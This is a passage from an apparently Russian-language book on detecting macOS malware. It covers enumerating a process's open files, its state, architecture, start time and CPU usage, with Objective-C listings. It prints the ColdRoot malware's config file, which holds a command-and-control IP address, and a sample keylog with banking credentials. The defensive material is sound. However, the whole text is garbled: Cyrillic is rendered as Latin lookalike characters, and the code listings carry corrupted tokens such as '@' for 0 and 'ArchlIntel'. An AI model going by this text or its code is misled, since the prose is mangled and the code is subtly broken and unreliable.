OTKPbITbIE KAXXObIM MPOLIECCOM B CUCTEME, 3apa)KEHHOWN 3TOW BPEAOHOCHOW NpOorpamMmmMoN, Bbl BCTPETUTE
CTpaHHbIN harn C UMeHeM conx.wol, OTKPbITLIN NPOLLECCOM C UMeHeM com.apple.audio.driver.app.
Mpn GnvxaniueMm pacCMOTPEHUN CTAHET OYEBMAHO, YTO MPOLECC He NpuHagnexuT Apple n Ha camom
nene sBnsieTcst BpegoHocHom nporpammori ColdRoot, conx.wol - KOHUrypauuoHHbIA doann
BPEeAOHOCHOM NporpamMmbl, 1 OH COAEPXUT LIeHHY0 NS 3allMTHUKOB MHpOopMaLmto, BKoYas agpec
KOMaHOHO-YMpaBnstoLLero cepeepa:

% cat com.apple.audio.driver.app/Contents/MacOS/conx.wol

{

"PO": 80,

"HO": "45.77.49.118",

"MU": "CRHHrHQuw JOlybkgerD",
"VN": "Mac_vic",

"LN": "adobe_logs.log",

"KL": true,

"RN": true,

"PN": "com.apple.audio.driver"
}

Mo3xe Bbl BCTpeTUTE eLle oauH hain, OTKpbITbIN Bpe4OHOCHOMN nporpaMmmoi, adobe_logs. log, KOTOpbIN,
NoXoXe, COAEPXKMUT NepexBadYeHHble HaXKaTUA KraBuLL, BKNOYas UMS Nonb3oBaTens 1 naposnb ans
0©aHKOBCKOW YY4ETHOW 3amnucm:

bankofamerica . com

[enter]

user

[tab]

hunter2

[enter]

Bo3amMoXxHO, Bbl 3ajaeTeCb BONPOCOM, Kak onpeaenuTb, YTo 3TK danbl Bpe4OHOCHbI, UCMOMNb3Ysl TONbKO
nporpaMmHble MeToabl. YecTHO roBopsi, 3TO ObINo Gbl croXxHO. BoamoxxHo, noTpeboBanock 6bl co3gaTb
perynsipHoe BbipaxkeHue ansa noucka URL, IP-agpecoB unu Toro, 4To Noxoxe Ha 3axBayeHHble HaxaTtus
KnasuLl, HanpumMep ynpasnsoLLmMx cumsonos. OgHako Gonee BEpOSATHO, YTO Apyras Nnornka obHapyxeHus
YXKEe COUTET 3Ty HEMOAMMCAHHYIO YNaKOBaHHYO BPELOHOCHYHO NporpamMmmMy NOAO3PUTENBbHOM U MOMETUT ee
ansa donee TwWaTenbHOro U3y4yeHusi, B Maeane 4YeroBekoM - aHanMTUKOM BPEAOHOCHbIX NPOrpamMm.
Hanpumep, ColdRoot HenognuncaH, ynakoBaH v 3akpensneH B cucteme. B Takom cnyyae kog mor Obl
NpeaocTaBnTb aHANUTKKY Kak CMMCOK BCexX (halnoB, OTKPbITbIX MOAO3PUTENbHBIM MPOLECCOM, TaK 1
copepXxumoe annos. 3aTtem aHanUTMK Mor Obl BpYYHY NOATBEPAUTL, YTO MOMEYEHHBIN NPOLECC
SABNSieTCA BPeLOHOCHOM NPOrpaMmon, 1 ncnonb3osatb dainbl, YTo6bl NONYy4YMTb NMOBEPXHOCTHOE
NOHMMaHue Toro, Kak oHa paboTtaer.

B aTom pasgene Mbl 06cyxgaemM ABa noaxoda K NporpaMMHOMY nepeyvncrieHnto Bcex hannos, OTKPbITbIX
NpPOLIECCOM.
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proc_pidinfo

TpaanUMOHHBIN NOAXOA K NepeyncrieHnto hannos, KOTopble NPOLECC B AaHHBIN MOMEHT AEPXNT
OTKpPbITbIMU, Ucnonb3yeT API proc_pidinfo. BkpaTtue, Bbl3oB aToro APl ¢ dpnniarom PROC_PIDLISTFDS
BEPHET CMUCOK OTKPbIThIX (harnoBbiX AECKPUMNTOPOB AN 3a4aHHOro npouecca. [laBante pasbepem
npumep koaa, nokasblBarLLMi ncnonb3oBaHme atoro APL. MNonHbIi Kog MOXHO HANTWN B OYHKLUK C
nMmeHem getFiles B NpoekTe enumerateProcesses. HayHeM ¢ nonyyvyeHns hannoBbiX 4eCKPUNTOPOB
npouecca (nuctuHr 1-28).

int size = proc_pidinfo(pid, PROC_PIDLISTFDS, @, 0, 0);

struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);
proc_pidinfo(pid, PROC_PIDLISTFDS, @, fdInfo, size);

JInctnHr 1-28: MNonyyeHune cnuncka ¢annoBbIX 4ECKPUNTOPOB NpoLiecca

Kog Bbi3biBaeT API proc_pidinfo ¢ mgeHTudmukaTopom Lenesoro npouecca, pnarom PROC_PIDLISTFDS
1 NOCNefoBaTENbHOCTBIO HyNen, YTobbl NONYyYnTbL pa3Mep NamsTi, Heo6XoOUMOW AN XpaHeHWs Cnmcka
harinoBbIX AECKPUMNTOPOB MNpouecca. 3atem Mbl Belgensem Oydep Takoro pasmepa Ans XpaHeHus
ykasaTenen cTpyktyp proc_fdinfo. [locne atoro, 4tobbl Nony4nTs PaKTUYECKUAn CNMCOK AECKPUNTOPOB,
Mbl MOBTOPHO Bhi3biBaeM API proc_pidinfo, Ha 3TOT pas co cBexeBblaeneHHbIM 6ycdepom 1 ero
pasMepom.

Tenepb, Korga y Hac eCTb CMNCOK OTKPbITbIX DaNOBbIX AECKPUNTOPOB, UCCeayeM KaXabl U3 HUX.
OBbIYHbIE harnbl OMKHBI UMETb AeCKPUNTOPbLI TUNa PROX_FDTYPE_VNODE. JIucTuHr 1-29 nony4vaeT nyTu
3TuX hannos.

NSMutableArray* files = [NSMutableArray array];
for(int i = @; i < (size/PROC_PIDLISTFD_SIZE); i++) {
struct vnode_fdinfowithpath vnodeInfo = {0};

if(PROX_FDTYPE_VNODE != fdInfo[i].proc_fdtype) {
continue;

}

proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDVNODEPATHINFO, &vnodeInfo, PROC_PIDFDVNODEPATHINFO_SIZE);

[files addObject:[NSString stringWithUTF8String:vnodeInfo.pvip.vip_path]];
¥

JluctnHr 1-29: N3eneveHue nyTein n3 gannosbiX 4ECKPUNTOPOB

Wcnonb3ys uukn for, Mbl nepebrpaem nonyyeHHble hannoBble 4ECKPUMNTOPLI. [Ns Kaxgoro Aeckpuntopa
npoeepsieM, UMeeT Nn oH Tun PROX_FDTYPE_VNODE, 1 nponyckaem Bce ocTarnbHble TUMbl. 3aTtem
BbI3biBaeM API proc_pidfdinfo ¢ pasnuyHbiMn napameTpamu, TakuMu Kak naeHTuumkaTop npouecca,
annosbl geckpuntop 1 PROC_PIDFDVNODEPATHINFO, a Takke C BbIXOAHOW CTPYKTYpOW Tuna
vnode_fdinfowithpath n ee pasamepom. 310 4OMKHO BEPHYTL MHGPOPMALMIO 06 Yka3aHHOM ¢hbarinoBom
Jeckpunrtope, BKroyasa ero nytb. Korga BbI30B 3aBepLUMTCS, NMYTb MOXHO HaWTU B YrieHe vip_path
CTPYKTYpbI pvip, BHyTpY cTpykTypbl vhode_fdinfowithpath. Mbl nsenekaem aToT uneH, npeobpasyem
€ro B CTPOKOBbIi 0OBHEKT U COXpaHsiEM B MaccuBe.
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Isof

Ewe oguH cnocob nepevmcnuTb OTKpbIThle hannbl npouecca - nmmntuposaTb yTunuty Activity Monitor B
macOS. XoTa aTOT Noaxon oOnupaeTcs Ha BHELLHUI ucnonHsembi doarnn macOS, oH yacTto gaet 6onee
NOJSTHbIN CANCOK, YeM Noaxon ¢ proc_pidinfo.

BbibpaB npouecc B Activity Monitor, nonb3oBaTtenb MOXET LENKHYTb 3Ha40K MHopMaLmm, a 3aTem
Bknaaky Open Files and Ports, 4tobbl yBMAETL BCe (halnbl, KOTOpble NPOLIECC OTKPbIS. BbinonHue
obpaTHyto paspaboTky Activity Monitor, MOXHO y3HaTb, YTO 3a Kynmcamun OH 40OMBaeTCsa Takoro
noBefeHus1, BbIMNOMNHAS 1sof, BCTPOEHHbIV MHCTPYMEHT macOS ansa nepeyncrneHns oTkpbiTbix hannos.

MoarBepauTsb, uto Activity Monitor ucnonessyet 1sof, MOXXHO € NOMOLLBIO MOHUTOpPA NPOLLECCOB -
WHCTPYMEHTA, KOTOPbIN 9 NoKaxy, Kak co3aatb, B rnase 8. Korga nonb3osBartens LWenkHeT Bknaaky Open
Files and Ports, MOHUTOp NpoueccoB NOKaxeT, YTO 1sof BbINONHAETCA C hnaraMmv KOMaHOHOW CTPOKK -Fn
n-p:

# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor

{

"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {

"pid" : 86903

"name" : "lsof",

"path" : "/usr/sbin/lsof",
"arguments" : [
"/usr/sbin/lsof",

"-Fn",

"-p",

"590"

1,

¥

®nar -p ykasbiBaeT naeHtudukaTop npouecca, a dnar -F BelbupaeT nons anga obpadotku. Korga 3a
3Tum pnarom crnegyeT n, MHCTPYMEHT neyaTaeT TOMbKO NyTh dparina, YTO MMEHHO HaM U HYXXHO.

MNpocnegyem nogxoay Activity Monitor 1 BeinosiHMM gBOWYHBIN (hainn 1sof gnga 3agaHHoOro npowecca, a
3aTeM nporpammHo pasbepem ero BbiBod. [0MHbIN koA, peanuaylowuii 3TOT NOAXOA, MOXHO HaWTu B
DYHKUMU C uMeHeM getFiles2 npoekTa enumerateProcesses. B nuctuHre 1-30 Mbl HaunHaem ¢
BbINonHeHnsa 1sof ¢ onaramu -Fn 1 -p n ngeHTUdUKaTOPOM npotiecca.

NSString* pidAsString = [NSNumber numberWithInt:pid].stringValue;
NSMutableDictionary* results = execTask(@"/usr/sbin/lsof", @[@"-Fn", @"-p", pidAsString]);

JlnctnHr 1-30: NporpammHoe BbiNosnHeHne 1sof

Mbl nOBTOpPHO Mcnonb3dyemM yHKUUIO execTask, co3aaHHyo B NUCTUHre 1-24, 4Tobbl 3anyCTUTbL KOMaHay.
OpHako, NOCKONbKY apryMeHTbl KOMaHOHOW CTPOKM NepenaroTCcs BHELUHMM NpoLieccam Kak CTPOKM,
CHa4ara Hy>XHo npeobpasoBaTb UAeHTUMMKATOP LENEBOro npoLecca B CTPOKY. HanomHio, 4To dyHKLMS
execTask goxageTcs 3aBepLUEHNS NOPOXKAEHHOW 3a4a4un, 3axBaTUT NoOON BbIBOA W BEPHET €ro
BbI3biBatoLweMy kogy. JinctmHr 1-31 nokasbiBaeT oguH Noaxon K pasdopy BbiBoga 1sof.

NSMutableArray* files = [NSMutableArray array];

NSArray* lines = [[[NSString alloc] initWithData:results[STDOUT]
encoding:NSUTF8StringEncoding] componentsSeparatedByCharactersInSet:[NSCharacterSet
newlineCharacterSet]];

for(NSString* result in lines) {

if(YES == [result hasPrefix:@"n"]) {

NSString* file = [result substringFromIndex:1];
[files addObject:file];
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Jlnctnur 1-31: Pa3bop BbiBoga 1sof

BbiBOA XpaHUTCSA B crioBape C UMeHeM results, U K HEMYy MOXHO 00paTUTLCS Yepes Koy STDOUT.
Mo>xHO pa3genuTb BbIBOA MO CUMBOJSIAM HOBOW CTPOKM, YTOObI obpabaTbiBaTb €ro NoCTPOYHO. 3aTtemM
nepebepuTe Kaxay CTPOKY, ULLNTE Te, KOTOPbIE coaepXaT NyTb K dbanny, To ecTb UMET NpeduKe n, U
COXpaHsInTe Ux.

I'Ipoque cBegeHus

PasymeeTcs, CyLLeCTBYIOT U ApYrMe CBeAEeHUs!, KOTOpble MOXET NoTpeboBaTbcs U3BMEYb U3 3anyLUEeHHbIX
npoLeccos, 4YTobbl NOMoYb cebe ¢ obHapyXeHnem BpeaoHOCHOro koda B cucteme macOS. JTa rnasa
3aBepLLaeTCcs HEeCKOMbKMMU NpuMepamMu, ccreayowymMm creaytolive cBeaeHUs 0 NpoLiecce: ero
COCTOSIHVE BbINONTHEHWS!, apXMTEKTYPY BbINOSIHEHUS, BPEMS 3anycka 1 ucrornb3osaHne CPU. Takke Bam
MOXeT NoHagobuTbca onpeaenuTb ero CEeTEBOe COCTOSIHME - 3Ta TeEMa paccMmaTpuBaeTcs B rnase 4.

CocTosiHue BbINOJIHEHUA

MpencraBbTe, YTO Bbl MOMYYMIIN CMMCOK OEHTUMUKATOPOB NpoLEeccoB. BeposiTHO, Bbl 3axoTuTe
[AOMNONHUTENBHO ONPOCUTL NPOLIECC, HAaNpPUMep YTOObI MOCTPOUTL AEPEBO NPOUCXOXAEHMS NpoLecca unm
BbIUMCNNTL MHOPMAaLMIO O NoAnMcK koaa. Ho 4To, ecnm npoLecc yxe 3aBepLUnNCS, Kak B cryyae
KOPOTKOXUBYLLEN KOMaHAbl 060/104kn? OTO BaxHas MHPOPMaLUs, U KaKk MUHUMYM BaM HY)XHO MOHMMaTb,
noyemy nobble NOMbLITKM AanbHENLLEro Onpoca npoLecca 3aBepLuatTcs Heyaadei.

TpuBUanbHbIi cnocob onpeaenvTs, yMep fu NPOLECC, - NONbITATbCA OTNPaBUTL eMy curHan. OguH
cnocob caenaTb 3TO - UCNOMb30BaTh cUCTEMHbIN APl kill ¢ TMNOM curHana @, kak nokasaHo B IMCTUHre
1-32.

kill(targetPID, 0);

if(ESRCH == errno) {
// Code placed here will run only if the process is dead.

}
JluctnHr 1-32: MNposepka, ymep nv npouecc

OTO He y6beT HM OAMH XMBOIN NPOLIECC; hakTUYEeCcKkn 3TO coBepLueHHO 6e3BpeaHo. OfHako ecnu npouece
3aBepwwuncs, APl yctaHoBuT errno B ESRCH (no such process).

A yT0, ecnu npouecc 3ombuposaH? MoxHo ucnone3obaTb APl sysctl, 4Tobbl 3an0nHUTL CTPYKTYPY
kinfo_proc, kak B nuctuHre 1-33.

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t size = sizeof(procInfo);

sysctl(mib, 4, &procInfo, &size, NULL, ©);

if(SZOMB == (SZOMB & procInfo.kp_proc.p_stat)) {
// Code placed here will run only if the process is a zombie.

}
JlnctnHr 1-33: MNposepka, aBnseTcs nu npouecc zombie

OTa CcTpyKTypa cogepxuT dnar ¢ umeHem p_stat. Ecnu y atoro dpnara ycrtaHoBneH 6ut SZOMB, Bbl
3HaeTe, YTO npoLecc asnseTca zombie.
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ApqueKTypa BbIMNOJTIHEHUA

C nosiBneHnem Apple Silicon macOS Tenepb nogaepxvsaeT Kak ABovdHble dannel Intel (x86_64), Tak n
ARM (ARM64). NoCKONbKY MHOIME MHCTPYMEHTbLI aHanu3a cneundguyHbl 4ns apxXuTekTypbl danna,
onpefeneHve aTon nHdopmaummn Ans npouecca BaxHo. bonee Toro, xoTa pa3paboTynku
nepekomnunuposanu 6onbLuyto Yactb nermtumHoro MO ans HaTueHOro 3anycka Ha Apple Silicon,
BPEAOHOCHbIE NPOrpaMMbl BCE eLLe OOrOHSIT; YAMBUTENbHO BonbLuas nx 4acTb 40 CUX NOp
pacnpocTpaHsAeTcs Kak ABonYHble dhannbl Intel. HekoTopble npvMepbl BpeAOHOCHbBIX NPOrpamMm,
oBHapyxeHHbIX B 2022 rogy 1 pacnpoCTpaHSABLLMXCS UCKIIOYUTENBHO Kak ABOMYHbIE hannsl Intel,
BkntovatoT DazzleSpy, rShell, oRat n CoinMiner:

% file DazzleSpy/softwareupdate
DazzleSpy/softwareupdate: Mach-O 64-bit executable x86_64

Mo aTon npu4mMHe BaM MOXET 3aXOTETLCA MPUCMOTPETLCH K ABOUYHbIM hbannam Intel HemHoro
BHUMaTenbHee, YyeM K ARM- nnun yHmesepcanbHbIM 4BOMYHBIM doarnam.

K coxxaneHuto, onpegenntb nHopmaLmio 06 apxmTekType He Tak NPSIMOSTIMHEHO, Kak MPOCTO NPOBEPUTb
Tvn CPU xocTa, notomMy 4To Ha cuctemax Apple Silicon aBonyHble daiinsl Intel Bce ewe moryTt
BbINOSTHATLCS, XOTS U TpaHCnupyloTcs Yepes Rosetta. Bmecto aToro MoxHo cnegosatb npoLeccy,
KoTopbIn NpumeHseT Activity Monitor. JlIuctnHr 1-34 nokasbiBaeT 9TOT NOAXOA, KOTOPbIA MOXHO HanuTu B
dyHKuun getArchitecture npoekra enumerateProcesses.

enum Architectures{ArchUnknown, ArchAppleSilicon, ArchIntel};
NSUInteger getArchitecture(pid_t pid) {

NSUInteger architecture = ArchUnknown;
cpu_type_t type = -1;

size_t size = 0;

int mib[CTL_MAXNAME] = {0};

size_t length = CTL_MAXNAME;

struct kinfo_proc procInfo = {0};

sysctlnametomib("sysctl.proc_cputype", mib, &length);
mib[length++] = pid;

size = sizeof(cpu_type_t);
sysctl(mib, (u_int)length, &type, &size, 0, 0);
if(CPU_TYPE_X86_64 == type) {

architecture = ArchlIntel;

} else if(CPU_TYPE_ARM64 == type) {
architecture = ArchAppleSilicon;

mib[@] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = pid;

size = sizeof(procInfo);
sysctl(mib, 4, &procInfo, &size, NULL, 0);

if(P_TRANSLATED == (P_TRANSLATED & procInfo.kp_proc.p_flag)) {
architecture = ArchlIntel;

}
}

return architecture;

}

JInctnHr 1-34: MNonyyeHne apxuTeKTypbl NpoLiecca
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370T KO, Kak u Activity Monitor, cHayana ucnons3yet cTpoky "proc_cputype" n APl sysctlnametomib u
sysctl, yto6bl onpegenutb TN CPU 3anyLwieHHoro npouecca. O6paTtute BHUMaHue, YTO Maccus,
nepefasaemMbli B sysctlnametomib, umeet pasamep CTL_MAXNAME - KOHCTaHTbI, onpegeneHHon Apple n
3agatoLLlen MakcumMmarbHOe KONM4ecTBO KOMNOHeHTOB B MmeHn MIB. Ecnn otBeT - Intel
(CPU_TYPE_X86_64), Bbl 3HaeTe, YTO NPOLECC BbINONHAETCA Kak x86_64. OgHako Ha cuctemax Apple
Silicon 3T npoueccol Bce ewe MoryT ObiTb NogKpensieHbl ABOUYHLIM dhannom Intel, koTopbin Gbin
TpaHcnupoBaH B ARM yepes Rosetta. UToObl 06HapyxuTb Takon cueHapuii, Apple nposepsieT p_flags
npouecca, nony4yeHHble BbI30BOM sysctl. Ecnu y aTux cpnaros yctaHoBneH 6ut P_TRANSLATED, Activity
Monitor yctaHaBnmBaeT apxutektypy B Intel.

B npoekTte enumerateProcesses Bbl HangeTe pyHKUMO ¢ uMeHeM getArchitecture. OHa NnpyHMMaeT
naeHTudurkaTop npouecca u Bo3BpaLlaeT ero apxutektypy. CHayana mbl 3anornHsiem maccue Yepes API
sysctlnametomib, nepenasas ums sysctl.proc_cputype. 3atem, gob6aBmB ngeHTUdMKaTOpP LIENEBOrO
npotecca, BbidbiBaeM APl sysctl ¢ MHUUManuM3npoBaHHbIM MaccuBOM, YTobbI nony4unTb Tun CPU
ykasaHHoro npotecca. Ecnv Bo3spatyeHHbin Tun CPU paBeH CPU_TYPE_X86_64, Kof ycTaHaBnvBaeT
apxutekTypy B Intel. C gpyron ctopoHsbl, ecnu Tun CPU uenesoro npouecca paseH CPU_TYPE_ARM64, koA
no ymon4yanuto Bbibupaet Apple Silicon. Kak oTmeyanock, npouecc Bce elle MoXeT 6biTb JBONYHBIM
davinom Intel, xoTst n TpaHCIMpoOBaHHLIM. YTOOLI OBHapPYXUTb 3TOT CLEHAapPWUIA, KO NPOBEPSIET,
ycTaHoBneH nny p_flags npouecca 6ut P_TRANSLATED. Ecnu ga, oH ycTaHaBnNuBaeT apxXvuTeKkTypy B
Intel.

Bpemsa 3anycka

Mpu onpoce 3anyLyeHHbIX NPOLECCOB BaM MOXET ObITb NOMNE3HO 3HaTb, Koraa Obin 3anyLueH Kaxabli
npouecc. OTO MOXET NOMOYb ONpeaenuTb, ObiN NN NPOLIECC 3anyLLeH aBTOMaTUYECKU BO BPEMS 3arpy3ku
CUCTeMbI UK No3Xe, BO3MOXHO Nonb3oBaTtenem. Mpolecchl, 3anyLueHHbIe aBTOMaTU4YeCK1, MOTyT ObITb
MOCTOSIHHO YCTaHOBJIEHbI, M €CNU OHW HEe NPUHaAnexaT onepaLuoHHON CUCTeMe, UX CTOUT BHUMATENbHO
U3y4mnThb.

UTto6bl onpeaennte BpeMs 3anycka npouecca, MOXHO CHOBa obpaTtutbcs K HagexHomy APl sysctl.
JInctuur 1-35 nokasbiBaeT oyHKUMIO getStartTime n3 npoekta enumerateProcesses, koTopas
NPYHUMaET MaeHTUdUKATOP NpoLiecca M BO3BpallaeT BPEMs 3anycka npouecca.

NSDate* getStartTime(pid_t pid) {
NSDate* startTime = nil;
struct timeval timeval = {@};
struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
sysctl(mib, 4, &processStruct, &procBufferSize, NULL, ©0);

timeVal = processStruct.kp_proc.p_un.__p_starttime;

return [NSDate dateWithTimeIntervalSincel970:timeVal.tv_sec + timeVal.tv_usec / 1.0e6];
¥

JInctuur 1-35: MNonyyeHne BpemMeHn 3anycka npouecca

Mbl BbI3biBaeM sysctl, UToObl 3anonHnTbL CTPYKTYpy kinfo_proc ons npouecca. OTa cTpykTypa byger
copepxaTtb CTpYKTypy timeval ¢ yaayHelM umeHem p_starttime. 3aTtem mbl npeobpasyem aty Unix
timestamp B 6onee yao6HbI 06bEKT AaThbl, KOTOPLIA BO3BPALLAEM Bbi3blBalOLLEMY KOAY.
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Ucnonb3osaHue CPU

3aBepLunmM rnaBy pacCMOTPEHUEM TOrO, Kak BblMMCNUTL ucnonb3dosaHne CPU aonsa 3agaHHoro npouecca.
XoTs 310 He Be3owmboyHas IBPUCTMKA, OHA MOXET NOMOYb OBHAPYXNTb CKPbITHBIX MaHEPOB
KpUNTOBanoTbl, KOTOPbIE CTPEMATCS MakCMMaribHO UCMONb30BaTb CUCTEMHbIE PECYPChI.

YTto6bI BbUMCnUTb ncnosnb3oBaHme CPU, HauHuTe ¢ BbidoBa APl proc_pid_rusage, KOTOpbIN
BO3BpaLlaeT cBedeHns 06 Mcnonb3oBaHNM pecypcoB Ang 3agaHHoro naeHTudukatopa npouecca. 10T
APl o6bsiBneH B 1ibproc.h cnegytowmm obpasom:

int proc_pid_rusage(int pid, int flavor, rusage_info_t* buffer);

AprymeHT flavor MOXHO YCTaHOBUTbL B KOHCTAHTY RUSAGE_INFO_V@, a nocrneHuii apryMeHT siBnseTcs
BbIXxoAHbIM Gychepom ans 6ydepa cBeeHWIn 0 pecypcax, KOTOPbI OOMMKEH UMETb TUN rusage_info_ve.

B nuctuHre 1-36 13 dyHkumm getCPUUsage npoekTa enumerateProcesses Mbl ABaXbl Bbi3blBaeM
proc_pid_rusage c 3agepxkon (delta) mexay BbidoBamu. 3aTeM BbIYUCNSEM PasHULY MEXAY

CBElEHUSAIMM O pecypcax NepBoro 1 BTOPOro BbI30BOB. ATOT KO BAOXHOBIEH 3anucbto Ha Stack Overflow.
[16]

struct rusage_info_ve@ resourcelnfo_1
struct rusage_info_ve@ resourceInfo_2

{e};
{e};

proc_pid_rusage(pid, RUSAGE_INFO_V@, (rusage_info_t*)&resourceInfo_1);
sleep(delta);
proc_pid_rusage(pid, RUSAGE_INFO_VO, (rusage_info_t*)&resourcelnfo_2);

int64_t cpuTime = (resourceInfo_2.ri_user_time - resourceInfo_1.ri_user_time)
+ (resourceInfo_2.ri_system_time - resourcelInfo_l.ri_system_time);

JlnctnHr 1-36: BeiuncneHne CPU time npouecca 3a delta B nsiTb cekyHA

Bbl BMaMTE nepBLIN BbI30B proc_pid_rusage, 3a KOTOpbIM criedyeT elle oavH Bbi3oB. Oba Bbi3oBa
MPUHMMAIOT OAMH W TOT e naeHTudmkaTop uenesoro npouecca. 3atem Mbl Bbluncnsem CPU time,
Bbl4yMTad Kak user time (ri_user_time), Tak 1 system time (ri_system_time), a 3aTem cknagbiBas
pesynbTarhbl.

YTo6bl BIMMCIIUTD MCNonb3yeMbii npoueHT CPU, cHavana npeobpasyem ato CPU time u3 Mach time B
HaHocekyHabl. JIucTuHr 1-37 genaet 370 € NOMOLLbIO yHKUMKM mach_timebase_info.

double cpuUsage = 0.0f;
mach_timebase_info_data_t timebase = {0};

mach_timebase_info(&timebase);

cpuTime = (cpuTime * timebase.numer) / timebase.denom;
cpuUsage = (double)cpuTime / delta / NSEC_PER_SEC * 100;

JlnctnHr 1-37: BbluncneHue npoueHTa ucnonb3oBaHus CPU

3aTtem Mbl genum CPU time Ha ykasaHHylo 3a4epKKy U KONM4eCTBO HAaHOCEKYHA, B CeKyHAEe, YMHOXEHHOe
Ha 100, NOCKOMNbKY HaM HYX€eH MPOLEHT. (7]
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Tenepb 3anycTm enumerateProcesses, cogepXallmin 3TOT Ko, ANst HECAHKLMOHMPOBaHHOIO MalHepa
KpunToBantoTbl, HANAEHHOro B npunoxeHun Calendar 2, ynomaHyTOM paHee B 9TON rnage:

% ./enumerateProcesses
(1641):/Applications/CalendarFree.app/Contents/Mac0S/CalendarFree
CPU usage: 370.750173%

MockonbKky NpunoXeHne CKpbITHO 3aHMMaeTCs MaHUHIOM, ero ucnons3osaHne CPU coctasnseTt
owenomnstowme 370 npoueHTos! Ha mHorosgepHbix CPU ncnonb3osanne CPU moxeT gocturatb
3Ha4yeHui Bbiwe 100 npoueHToB. Mbl MOXXeM NOATBEPAUTL TOYHOCTb MPOrpaMmbl, 3anyCTUB BCTPOEHHbIN
nHcTpyMeHT macOS ps 1 ykasas PID npunoxenunsa Calendar:

% ps u -p 1641
USER PID %CPU ...
user 1641 372.4 ...

XOoTS TOYHbIN NPOLEHT CO BpeMeHeM ByaeT MEHSATLCA, ps NOKa3bIBAET, YTO NPUIIOXKEHNE UCMOMb3yeT
NPUMEpPHO Takoe e orpomMHoe konuyectso CPU.

3aknro4yeHue

B aTow rmaBe Bbl yBUAENWN, KaK M3BMeKaTb MHOXECTBO NOME3HON MHGOPMALIMK U3 3aMNyLLEHHbIX
MpoLEeccoB, BKoYasi epapxmm NpoLeccoB, CBeAEHMS O KoAde U MHoroe gpyroe. C aToi nHdopmMalmen Bbl
y)Ke OOIDKHbI ObITb HA XOPOLLEM MYTK K OBHapY>XeHuto NboN BpeAOHOCHOM NporpamMmbl, paboTtatowen B
cucteme macOS. B cnegytowlen rnaBe Mbl COCPeOTOUMMCH HA NporpaMMHOM pasbope u aHanuse
ncnonHsemoro gsonyHoro ¢ganna Mach-O, KOTopbIN NEXUT B OCHOBE KaXkaoro npouecca.
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nmaBa 2. Pa3bop ABOMYHbLIX channos

B npeablayLlen rmase Mbl Nnepeyvncnsny 3anyLleHHble NpoLuecchl U u3Bnekany nHopmauuio, Kotopas
MOrfia NoMoYb 3BPUCTMYECKN OOHapyXmnBaTb Bpe4OHOCHbIE NporpaMmmbl. OgHAKO Mbl HE pacCMOTPENM,
KaK nccnenoBartb hakTU4eCcKnii ABOUYHLIN dharin, nexalumi B OCHOBE KaXaoro npouecca. 91a rnaea
onncbIBaEeT, Kak MporpaMMHO pasbupaTtb 1 aHanuamposaTk universal u Mach-O - HaTuBHbIN dopmat
ncnonHsemblx ABONYHbIX hannos macOS.

Bbl y3HaeTe, Kak n3Brnekatb TakMe CBeL4EHUS, Kak 3aBMCUMOCTU U CUMBOJSTbI ABOMYHOrO hanna, a Takke
Kak 0GHapy>XmMBaTb, COAEPXKUT NN ABOMYHBINA dhann aHoManuu, HanpuMmep 3angpoBaHHble JaHHbIe Unn
WHCTPYKUUK. Ta MHpopMaLms yny4yLwumnT Bally cnocobHOCTb KraccuduumMpoBaTh ABOUYHBIN haln Kak
BPEAOHOCHbIN U 6e30061aHbIN.

YHuBepcanbHble ABONYHbIE hannbl

BonblnHcTBO ABOMYHBIX dharnoB Mach-O pacnpocTpaHseTca B cOCTaBe YHUBEPCanbHbIX BONYHbBIX
dannos. B TepmunHonorum Apple oHu Ha3sbiBatoTcs fat binaries n npeacraBnsitoT cobor KOHTENHEPbI ANns
Heckonbknx Mach-O-cannos, cneundunyHbIX ANS apXUTEKTypbl, HO OBLIYHO NOrMYECKN SKBMBANEHTHbIX;
Takue BroXeHHble palinbl M3BECTHBI Kak slices. Bo BpeMs BbINOSIHEHMS OMHAMUYECKnA 3arpy3yunk macOS
(dyld) 3arpyauT 1 3aTeM BbINOMHUT TOT BCTPOEHHbIN Mach-O-caiin, koTopblI nyYlle BCero
COOTBETCTBYET HATMBHOMN apxmnTekType xocTa, Hanpumep Intel nnn ARM. IockonbKy 3T BCTPOEHHbIE
OBOUYHbIe dhainbl cogepXaTt UHopMaLmio, KOTOPYIO Bbl XOTUTE N3BMEYb, HANPMMEP 3aB1UCUMOCTMN,
CcHa4ara Hy>HO NMOHSTb, Kak NPOrpaMmHoO pa3obpaTb YHUBEpPCANbHbIA ABONYHbINA dalin.

UccnepoBaHue

Ytunuta Apple file moxeT nccnegoBaTb YHUBEpPCanbHble ABOUYHbIE dharnbl. Hanpumep, BpegoHocHas
nporpamma CloudMensis pacnpocTpaHsieTcs kak yHMBepcarnbHbI ABOUYHbIA als C UMEHEM
WindowServer, cogepxawwmii ABa Mach-O-canna: oguH ckomnunupoBaH aAng Intel x86_64, a apyrow -
ansa cuctem Apple Silicon ARM64. BeinonHum file gns CloudMensis. Kak BUgHO, UHCTPyMEHT
onpegensieT ero kak yHMBepcarbHbI ABOMYHbIA dhain 1 NokasbiBaeT ABa BCTPOeHHbIX Mach-O:

% file CloudMensis/WindowServer

CloudMensis/WindowServer: Mach-0 universal binary with 2 architectures:

[x86_64:Mach-0 64-bit executable x86_64] [arm64:Mach-0 64-bit executable armé64]

CloudMensis/WindowServer (for architecture x86_64): Mach-0 64-bit executable x86_64
CloudMensis/WindowServer (for architecture armé64): Mach-0 64-bit executable armé64
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YT06bI NPOrpaMmMHO 06paLlaTbCsi K 3TUM BCTPOEHHbIM ABOMYHbIM hainam, Hy>KHO pasobpaTb 3arofoBok
YHUBEpPCanbHOro 4BOMYHOMoO dhanna, KoTopbivi cogepxut cmellenne kaxgoro Mach-O. K cuactsio, paséop
3aronoBKa NPsIMOSMHEEH. YHMBepcanbHble ABOWYHbIE (hannbl HAYMHAKOTCA CO CTPYKTYpbl fat_header.
CooTBeTCTBYIOLME YHUBEPCANbHbIE CTPYKTYPbl M KOHCTAHTbl MOXXHO HaWTV B 3aronoBo4HomM davine Apple
